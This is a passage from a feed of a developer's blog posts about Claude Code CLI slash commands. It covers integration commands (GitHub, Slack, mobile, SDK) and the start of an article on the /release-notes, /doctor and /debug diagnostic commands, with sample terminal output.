&lt;p&gt;This command connects the Claude CLI to an installed IDE, in which you also need to have the Claude Code extension installed. Commands entered in the terminal, or in the IDEs chat window, will be mirrored.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/install-github-app&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When GitHub serves as a remote origin for your project, you can use this sophisticated extension. It allows prompt interactions to create pull requests from a feature description only, which will create a branch, implement changes, create the PR. Additionally, it fully incorporates the management of GitHub actions, workflows that run when a new commit to the repository was issued, and typcially build the project, run linting, and perform tests.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/install-github-app&lt;/code&gt; starts the installation, which ultimately clones the repo from &lt;a href="https://github.com/anthropics/claude-code-action" rel="noopener noreferrer"&gt;github.com/anthropics/claude-code-action&lt;/a&gt;, setups API access keys, and registers skills that invoke the app.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/install-slack-app&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Slack is a well-known collaborative communication tool, structuring conversations into threads, and providing rich text editing features. To generate notifications, coworkers can be mentioned. And what if you could mention Claude itself?&lt;/p&gt;

&lt;p&gt;The slack app does exactly this, but has steep requirements: It needs an active Claude Code plan subscription, Claude Web needs to be installed, a GitHub account in which the source code repository of your project lies, and Slack authentication for the app itself.  Once completed, you can start chatting with Claude, and it will execute command on Claude Code and push changes to the configured GitHub repo.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/mobile&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A native iOS and Android App is available for Claude Code. This command shows a QR code and direct link to install them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;────────────────────────────────────────────────

      █▀▀▀▀▀█  ▀▄▄█▀▄▄█▄ █▄ ▀█▄ █▀▀▀▀▀█
      █ ███ █ ▀██▄▀██▄▀ █▀  ▄▀  █ ███ █
      █ ▀▀▀ █  ▄▀  ▄▀  █▀█ ███▀ █ ▀▀▀ █
      ▀▀▀▀▀▀▀ █▄█ █▄█ █▄█ ▀▄▀▄▀ ▀▀▀▀▀▀▀
      ██▀▄▀▀▀▀█ ██  ██ █  ▄█  ▄▀█  ▄▀ ▄
      ▄ █ ▀ ▀█▄▀ ▄ ▀ ▄ ██▄▀▄█▄▀▄▀▄▀█ █▀
      ▀▄█▄█▄▀▄█▄ ▄█▄ ▄█▀▀▀██▄ ▄██▀ █▄ █
      ▄█  █▀▀▄ █▄▀█▄█▀██▄▄█▄▄▄ █ █▀▄ █▀
        ▀▄ ▀▀▀▄ ▄█  ██▀▀  ▄█  ███   ▄▀█
      ▀█▄█ █▀█▀ █▄ ▀ ▄█▄█ █▄  ▄▀▀ ▄█ █▀
      ▀▀█ ▄█▀▀▀▄▀▄█▄ ▄▀█ ▀██ ▀▀▄█▄  ▄▀█
      ▀▄▀▄▀█▀ ▄ ▀▀█▄█ ▄▄ ▄ ▄▄▄▄█▄█ ▀ █▀
      ▀ ▀ ▀▀▀▀▄▀██  █▄▄▄█ █▀▀██▀▀▀█▄ ▄▄
      █▀▀▀▀▀█ █ ▀▄ ▀ █▄▄▀▄▄▄▄▀█ ▀ █▀▀▀▀
      █ ███ █ ▀ ▀▄█▄ █▄▀▀▀▀█  █▀▀▀██  █
      █ ▀▀▀ █ █▄▀▀█▄█ ▄▀▀▄ █▀█▄▄ █▀ ▀▄▀
      ▀▀▀▀▀▀▀ ▀ ▀▀  ▀ ▀ ▀▀ ▀ ▀▀▀  ▀▀ ▀▀

  iOS / Android  &lt;span class="o"&gt;(&lt;/span&gt;tab to switch, esc to close&lt;span class="o"&gt;)&lt;/span&gt;
  https://apps.apple.com/app/claude-by-anthropic/id647375368
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/claude-api&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Anthropic also provides an SDK to implement apps that need LLM invocations or agentic capabilities. This command loads its internal API documentation, lists resources, and starts an active dialogue helping you to add the SDK to your project.&lt;/p&gt;

&lt;p&gt;Here is an example invocation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;The /claude/api skill documentation is now loaded. Here&lt;span class="s1"&gt;'s a quick summary of what'&lt;/span&gt;s available:

  Key Resources:

  ┌────────────────────────────────────┬────────────────────────────────────────────────────┐
  │               Topic                │                      Use For                       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/README.md    │ Basic API calls, streaming, vision, error handling │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/tool-use.md  │ Tool definitions, tool runner, manual loops        │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/streaming.md │ Real-time streaming with code examples             │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/batches.md   │ Async batch processing at 50% cost                 │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/agent-sdk/README.md     │ Agent SDK with built-in tools &lt;span class="o"&gt;(&lt;/span&gt;file/web/terminal&lt;span class="o"&gt;)&lt;/span&gt;  │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/tool-use-concepts.md        │ Tool design patterns and decision heuristics       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/prompt-caching.md           │ Optimizing cache hits, silent invalidators         │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/models.md                   │ Exact model IDs and capability lookup              │
  └────────────────────────────────────┴────────────────────────────────────────────────────┘

  Quick Defaults:
  - Model: claude-opus-4-6 &lt;span class="o"&gt;(&lt;/span&gt;always, unless user specifies otherwise&lt;span class="o"&gt;)&lt;/span&gt;
  - Thinking: thinking: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;: &lt;span class="s2"&gt;"adaptive"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;Opus 4.6
  - Streaming: Default &lt;span class="k"&gt;for &lt;/span&gt;any request that may have large output

  What would you like to build?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This article concludes my series about Claude Code CLI commands. It showed commands from the Extension and Integration groups. In extensions, you learned about a) hook, executing deterministic commands during events of the agentic loop, b) skill, complex instructions and scripts for specific tasks, c) agents, understanding Claude’s built-in agents and the ability to add new ones, d) mcp, manage complex API interactions with any external service, e) how to interact with chrome bowser, f) browse, install, edit and g) reload plugins. The integrations command showed how to connect the Claude Code terminal with  a) an IDE, b) GitHub, c) Slack, as well as d) install the iOS or Android app, and e) adding an SDK to build agents into your app.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Diagnostics &amp; User Support and Permissions</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 20 Jul 2026 05:43:44 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-diagnostics-user-support-and-permissions-1alp</link>
      <guid>https://dev.to/admantium/claude-code-cli-diagnostics-user-support-and-permissions-1alp</guid>
      <description>&lt;p&gt;Large Language Models and their utilizing tools evolved to provide agents working autonomously on computer systems, with full access to files, configuration, and processes. Especially for software development, CLI tools like Claude Code facilitate engineering novel features, finding and fixing bugs, code changes due to updated library, and writing full documentation.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, all commands from the Claude Code CLI are explored systematically. They can be separated into different groups, targeting aspects like session management, conversation ops, configuration, and much more. The particular focus of this article are terminal configuration, adjusting font, colors, and key binding, and diagnostics, identifying potential issues with the CLI functionality.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude05_diagnostics_and_permissions/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Diagnostics &amp;amp; User Support
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/release-notes&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This unassuming command prints the complete release-notes of all prior versions of the Claude Code binary. The output is very detailed, as you can see for yourself in the following excerpt.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/release-notes

Version 0.2.21:
· Fuzzy matching &lt;span class="k"&gt;for&lt;/span&gt; /commands

Version 0.2.26:
· New /approved-tools &lt;span class="nb"&gt;command &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;managing tool permissions
· Word-level diff display &lt;span class="k"&gt;for &lt;/span&gt;improved code readability
· Fuzzy matching &lt;span class="k"&gt;for &lt;/span&gt;slash commands

...

Version 2.1.78:
· Added StopFailure hook event that fires when the turn ends due to an API error &lt;span class="o"&gt;(&lt;/span&gt;rate limit, auth failure, etc.&lt;span class="o"&gt;)&lt;/span&gt;
· Added &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CLAUDE_PLUGIN_DATA&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; variable &lt;span class="k"&gt;for &lt;/span&gt;plugin persistent state that survives plugin updates&lt;span class="p"&gt;;&lt;/span&gt; /plugin uninstall prompts before deleting
it
· Added effort, maxTurns, and disallowedTools frontmatter support &lt;span class="k"&gt;for &lt;/span&gt;plugin-shipped agents
· Terminal notifications &lt;span class="o"&gt;(&lt;/span&gt;iTerm2/Kitty/Ghostty popups, progress bar&lt;span class="o"&gt;)&lt;/span&gt; now reach the outer terminal when running inside tmux with &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt;
allow-passthrough on
· Response text now streams line-by-line as it&lt;span class="s1"&gt;'s generated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/doctor&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command prints debug-like information about the current environment, including details such as the installer type, binary, install method, and information about updates.&lt;/p&gt;

&lt;p&gt;See the full output of this command here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  Diagnostics
  └ Currently running: npm-global &lt;span class="o"&gt;(&lt;/span&gt;2.1.91&lt;span class="o"&gt;)&lt;/span&gt;
  └ Path: /usr/local/bin/node
  └ Invoked: /usr/local/bin/claude
  └ Config &lt;span class="nb"&gt;install &lt;/span&gt;method: not &lt;span class="nb"&gt;set&lt;/span&gt;
  └ Search: OK &lt;span class="o"&gt;(&lt;/span&gt;vendor&lt;span class="o"&gt;)&lt;/span&gt;
  Updates
  └ Auto-updates: disabled &lt;span class="o"&gt;(&lt;/span&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  └ Update permissions: No &lt;span class="o"&gt;(&lt;/span&gt;requires &lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  └ Auto-update channel: latest
  └ Stable version: 2.1.116
  └ Latest version: 2.1.123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/debug&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command enables debugging log output. Upon execution, it prints file location to which verbose messages will be posted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/debug

● Debug logging is now active. The log file is at /home/node/.claude/debug/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.txt.

  No issues captured yet since logging was just enabled. If you encounter a problem, reproduce it and I&lt;span class="s1"&gt;'ll check the log for errors or warnings.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Meanwhile, I continued the Claude Code session, and checked the accumulated content in this file. It contains trace information about plugin loading, file history, authentication, and executing the configured status script that renders the status line.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;2026-04-29T18:14:01.226Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58565 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;756x143
2026-04-29T18:14:01.230Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] AutoUpdaterWrapper: Installation &lt;span class="nb"&gt;type&lt;/span&gt;: npm-global
2026-04-29T18:14:01.246Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP Diagnostics: getLSPDiagnosticAttachments called
2026-04-29T18:14:01.248Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP Diagnostics: Checking registry - 0 pending
2026-04-29T18:14:01.251Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Hooks: Found 0 total hooks &lt;span class="k"&gt;in &lt;/span&gt;registry
2026-04-29T18:14:01.253Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Sending 5 skills via attachment &lt;span class="o"&gt;(&lt;/span&gt;initial, 5 total sent&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.255Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Hooks: checkForNewResponses returning 0 responses
2026-04-29T18:14:01.274Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Making snapshot &lt;span class="k"&gt;for &lt;/span&gt;message 03a71a38-a939-496a-b94c-94b593035519
2026-04-29T18:14:01.280Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Total plugin output styles loaded: 0
2026-04-29T18:14:01.292Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.364Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58565 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;756x143
2026-04-29T18:14:01.372Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.sh
2026-04-29T18:14:01.373Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.cjs
2026-04-29T18:14:01.380Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] autocompact: &lt;span class="nv"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;78124 &lt;span class="nv"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;167000 &lt;span class="nv"&gt;effectiveWindow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;180000
2026-04-29T18:14:01.386Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Tool search disabled: ToolSearchTool is not available &lt;span class="o"&gt;(&lt;/span&gt;may have been disallowed via disallowedTools&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
2026-04-29T18:14:01.427Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:request] Creating client, ANTHROPIC_CUSTOM_HEADERS present: &lt;span class="nb"&gt;false&lt;/span&gt;, has Authorization header: &lt;span class="nb"&gt;false
&lt;/span&gt;2026-04-29T18:14:01.428Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:auth] OAuth token check starting
2026-04-29T18:14:01.437Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.447Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] StatusLine &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;input&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.model.display_name'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.context_window.current_usage.input_tokens'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.context_window.context_window_size'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$model&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$tokens&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$max&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;proj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.workspace.project_dir'&lt;/span&gt; | xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt; &lt;span class="s2"&gt;"{}"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;branch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span 